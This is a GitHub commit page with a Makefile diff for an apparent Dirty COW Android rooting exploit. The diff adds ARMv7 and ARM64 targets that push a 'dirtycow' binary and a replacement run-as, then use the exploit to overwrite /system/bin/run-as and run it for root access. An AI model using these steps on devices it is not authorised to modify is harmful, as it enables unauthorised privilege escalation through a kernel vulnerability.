Skip to content

Commit 8b0136f

Browse files
authored
Merge pull request #25 from AnwarMohamed/master
Add additional arm architecture options for make targets
2 parents 96fc0c1 + 7296881 commit 8b0136f

File tree

1 file changed

+14
-2
lines changed

1 file changed

+14
-2
lines changed

Makefile

Lines changed: 14 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,10 +8,22 @@ push: build
88
adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow
99
adb push libs/armeabi/run-as /data/local/tmp/run-as
1010

11-
root: push
11+
push-arm7: build
12+
adb push libs/armeabi-v7a/dirtycow /data/local/tmp/dirtycow
13+
adb push libs/armeabi-v7a/run-as /data/local/tmp/run-as
14+
15+
push-arm8: build
16+
adb push libs/arm64-v8a/dirtycow /data/local/tmp/dirtycow
17+
adb push libs/arm64-v8a/run-as /data/local/tmp/run-as
18+
19+
run:
1220
adb shell 'chmod 777 /data/local/tmp/run-as'
1321
adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as'
14-
adb shell /system/bin/run-as
22+
adb shell /system/bin/run-as
23+
24+
root: push run
25+
root-arm7: push-arm7 run
26+
root-arm8: push-arm8 run
1527

1628
clean:
1729
rm -rf libs

0 commit comments

Comments
 (0)